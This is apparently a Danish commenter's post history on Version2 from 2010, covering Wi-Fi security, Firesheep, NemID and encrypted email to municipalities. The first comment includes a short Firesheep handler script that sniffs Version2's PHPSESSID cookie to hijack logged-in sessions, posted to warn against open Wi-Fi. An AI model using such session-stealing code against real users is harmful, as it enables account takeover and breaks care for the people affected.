Axel Hammerschmidt

Efter Firesheep: Facebook og Twitter scorer dumpekarakter på sikkerhed
Denne kommentar er blevet fjernet af en moderator.
Efter Firesheep: Facebook og Twitter scorer dumpekarakter på sikkerhed

Her er koden til at stjæle en Version2 logon session med Firesheep:

[code=javascript] // Author: // Axel Hammerschmidt mail@ddress.removedregister({ name: "Version2", url: 'http://www.version2.dk', domains: [ 'version2.dk' ], sessionCookieNames: [ 'PHPSESSID' ],

processPacket: function () { var ID = this.firstPacket.cookies['PHPSESSID']; this.sessionId = ID; },

identifyUser: function () { var resp = this.httpGet(this.siteUrl); // this.userName = var resp = this.httpGet(this.siteUrl); this.userName = "Axel, or perhaps Jesper"; } }); [/code]

Den er ikke helt fejlfri. Der kommer 2 link i sidepanelet til Firefox. Jeg er script kiddie med Javascript.

Men det viser, at man ikke skal logge på version2 over et åben- eller WEP krypteret AP hvor der ikke er L2 Separation.

18. november 2010 kl. 03:54
10 linjers kode er nok til at aflytte WPA2-krypterede netværk

Jeg downloadede Backtrack 4 til linux, og fandt en vejledning i at bruge programmet på Youtube. 2 timer senere, havde jeg hacket mit eget netværk som jeg troede var "rimeligt sikkert".

Tja! Du har brugt WEP, og der har man længe kunne bryde kodeordet - f.eks med Kismac og et re-play angreb.

Sohail Ahmad fra AirTight's angreb giver ikke anledning til, at jeg nu trækker et kabel ud til mit lokum :-)

5. november 2010 kl. 17:25
Efter Firesheep: Facebook og Twitter scorer dumpekarakter på sikkerhed

Jeg kan ikke se login til Version2 på listen :-)

Men det er ikke så alvorligt, fordi mange åbne AP har slået L2 Separation til, så det virker som en switch:

http://www.version2.dk/artikel/16840-pas-paa-falske-automatiske-opdateringer-paa-aabne-netvaerk

5. november 2010 kl. 16:29
Pas på falske automatiske opdateringer på åbne netværk

Så er det et andet "angrebet".

5. november 2010 kl. 02:05
Pas på falske automatiske opdateringer på åbne netværk

De fleste åbne trådløse netværk jeg har undersøgt med Kismet (bl.a i S-togene) bruger L2 Separation, hvilket svarer til at man er koblet op gennem en switch.

Så kan den ene ikke se de andre på samme AP/switch istedet for en hub.

4. november 2010 kl. 17:46
Anmeldere: Adobe Flash skærer to timer af batteriet på Macbook Air

er der een der har lavet Click2Flash:

http://clicktoflash.com/

Så bliver kun de Flash man ønsker hentet. Jeg savner samme ap i Windows.

4. november 2010 kl. 17:34
25 kommuner lader borgere tippe om socialt bedrageri uden kryptering

De printer den nok ud først, og så scanner de den.

Det er faktisk ikke et så tosset gæt, tror jeg.

Husker Proms dommen - een af dem - for år tilbage.

Proms (kemiske værk på sydsjælland) skulle sende indberetninger til kommunen (tror det var Næstved) på disketter. Det krævede kommunen. Bagefter hævdede kommunen, at Proms havde indsendt forkerte/misvisende oplysninger til kommunens kontrol. Det ville de ha' Proms dømt en bøde for.

Domstolen frikendte Proms på det grundlag, at indholdet på disketter kunne ændres.

Anderledes er det med en fax. En fax godkender domstolene som bevis.

Scannede dodumenter er lige som fax.

29. oktober 2010 kl. 00:05
Google: Undskyld, at vi aflyttede dine mails med Street View-bilen

SSID+geolocation kan desuden bruges til at afsløre min fysiske placering mod min vilje,...

Nej, det er placeringen af din AP. Og du kan til enhver tid ændre SSID. Så sammenligningen med dit navn eller din nummerplade holder ikke.

26. oktober 2010 kl. 17:56
Google: Undskyld, at vi aflyttede dine mails med Street View-bilen

Et åbent access point hos din nabo er ikke det samme som en accept af at misbruge naboens internetforbindelse. Men teknisk kan du gøre det.

Men det kan være svært at undgå. Ofte vil ens klientsoftware uden videre forbinde til naboens AP hvis denne er ukrypteret og signalet er stærkere end andres, herunder ens eget.

Er det ikke bare det samme der er sket for Google?

Så er det bare det samme som støj.

26. oktober 2010 kl. 06:16
Google: Undskyld, at vi aflyttede dine mails med Street View-bilen

Formentlig hjælper det heller ikke noget overfor Googles spionbiler at du disabler SSID broadcast ...

En ikke-broadcast SSID dukker erfaringsmæssigt kun op i Kermit i det øjeblik en klient associerer.

26. oktober 2010 kl. 06:07
Kølefejl ryster Ekstra Bladets og Jyllands-Postens hjemmesider

Første afsnit handler om blogs.berlingske.dk, blogs.business.dk og Worldpress. Resten, de efterfølgende afsnit handler om problemer med kommentarfelterne på politiken.dk.

Du kan klikke på link til dagens Lederen på politiken.dk her:

http://politiken.dk/debat/ledere/ECE1092142/vi-maa-forlange-en-sandhedskommission/

Nede der hvor kommentarfeltet plejer at være er der en meddelse, hvor der står:

Tekniske problemer
Fremtil tirsdag formiddag er det desværre
ikke muligt at læse kommentarer på
debatartiklerne. Vi beklager.</p>
<ul><li>Politiken.dk.
Læs reglerne for kommentarer
LUK OG SKRIV KOMMENTAR

HTH!

25. oktober 2010 kl. 22:57
Kølefejl ryster Ekstra Bladets og Jyllands-Postens hjemmesider

Siden omkring klokken 13.15 mandag har Ekstra Bladets og Jyllands-Postens netudgaver oplevet problemer med nedetid og forkert visning af indholdet på hjemmesiderne.

Der er ofte forkert visning på blogs.berlingske.dk og blogs.business.dk. Når man klikker på et blogindlæg i oversigten, kommer der et helt andet indlæg frem. De bruger Worldpress. Det er osse umuligt der, at læse blogindlæg ind midt om natten.

Og så har kommentar felterne til Leder, Analyse, Signatur osv været utilgængelig på politiken.dk siden fredag/lørdag. Man kan se på oversigten i "Debat" at der er så og så mange kommentarer, men går man ind vises de der ikke.

Prøver man så at skrive en kommentar, forsvinder teksten når der trykkes på "SEND", siden re-loades og så der står alligevel ikke noget.

Mærkeligt nok, så forsvinder oplysningen i rubrikkerne "Fornavn*" og "By*" ved samme lejlighed. Og vælger man at se "Kilde" i sin browser er der store områder uden nogen tekst.

De steder hvor det er muligt at skrive en kommentar, f.eks til Michael Jerlner's debatindlæg om Wikileaks, og der vælge "Kilde" ser det mere normalt ud. Og der kan man både se kommentarerne og skrive indlæg.

Hvad er der galt på politiken.dk?

25. oktober 2010 kl. 16:17
25 kommuner lader borgere tippe om socialt bedrageri uden kryptering

Når Akademikenes A-kasse sender breve til deres ledige medlemmer og indkalder til rådighedssamtale står der bla i brevet:

Du kan også indsende såvel jobskema som ansøgning og CV via e-mail: <a href="mailto:job-kbh@aak.dk">job-kbh@aak.dk</a&gt; HUSK så at angive dit Cpr-nr. Og din mødedato i mailen.

Prøv at finde et OCES certifikat til adressen "job-kbh@aak.dk" på certifikat.dk.

Nej, vel...

Var det ikke en vigtigere sag for Datatilsynet?

25. oktober 2010 kl. 15:53
Microsoft har fået 337.000 danskere til at bruge gratis antivirus

Enig! Jeg har aldrig brugt antivirus på mine Windows bokse.

En konto med begrænsede rettigheder til det daglige, NTFS og alle opdateringer er nok.

Var, fordi jeg nu har installeret MSE på min stationære med XP Pro og min Macbook med Vista.

Det gør jeg ud fra den betragtning, at når MS udsender et anti-virus suite til Windows, så bliver der sikkert brug for det - så sløser de nok på de andre områder.

Det var selvfølgelig spændende om MSE "fandt noget" på den stationære. Den havde kørt i 6 år, forbundet til internettet via router. Men der var ikke noget - iflg MSE.

Og joh, en computer havde engang haft virus, Form.A :-)

21. oktober 2010 kl. 13:54
Dansker nummer én million har aktiveret NemID

Hvis man har netbank i Danske Bank behøver man kun nøgle kortet for at konvertere til NemID. Jeg er sikker på at det også er sådan i de andre banker.

Jeg har netbank i Danske Bank og Jyske Bank. Nu har jeg modtaget Nemid fra Jyske Bank med nøglekort. Jeg forventede faktisk at modtage endnu et brev med adgangskode. Nu kan jeg se, at der står:

Du skal oprette din adgangskode til Nemid i din netbank. Følg vejledningen, når du logger på din netbank næste gang.

Så hva' pokker er det for en adgangskode der udsendes?

PS. Jeg ønsker at beholde mit nuværende OCES certifikat indtil det udløber til april næste år. Der er noget med at man skal være forsigtig med det, man vælger under oprettelsen?

21. oktober 2010 kl. 13:36
25 kommuner lader borgere tippe om socialt bedrageri uden kryptering

@Henrik.

De printer den nok ud først, og så scanner de den.

18. oktober 2010 kl. 22:11
25 kommuner lader borgere tippe om socialt bedrageri uden kryptering

med de to mest brugte e-mail klienter, når du har hentet motagerens - kommunens - ofentlige nøgle fra certifoikat.dk

If you download a Digital ID from or confirmed through a Lightweight Directory Access Protocol (LDAP) server, Outlook Express does not use 128-bit encryption when sending an e-mail message by using this Digital ID.</p>
<p>If the Warn on encrypting messages with less than this strength security setting is set to 128 bit or more, you receive the following message:
This message is being sent with 40 bit encryption. Your Advanced Security options are set to warn on less than 128 bit encryption. Would you like to send this message anyway?

Se selv her:

http://support.microsoft.com/kb/262003

Selvom der står på MS side, at det gælder for OE 5.5 og tidligere versioner, så virker det osse stadig sådan med OE 6.0 i XP Pro og Windows Mail i Vista Home Premium (hos mig).

Man kommer uden om det ved enten at underskrive med sin egen nøgle - og så er det jo ikke længere anonymt - det tvinger til 128 bit kryptering, eller ved at man har lagt modtagerens offentlige nøgle ind fra en modtaget e-mail.

Så jeg undrer ikke så lidt over hele postyret. Ved folk ikke det?

Måske burde man opfordre Datatilsynet til at forbyde brugen af Outlook Express og Windows Mail?

18. oktober 2010 kl. 22:07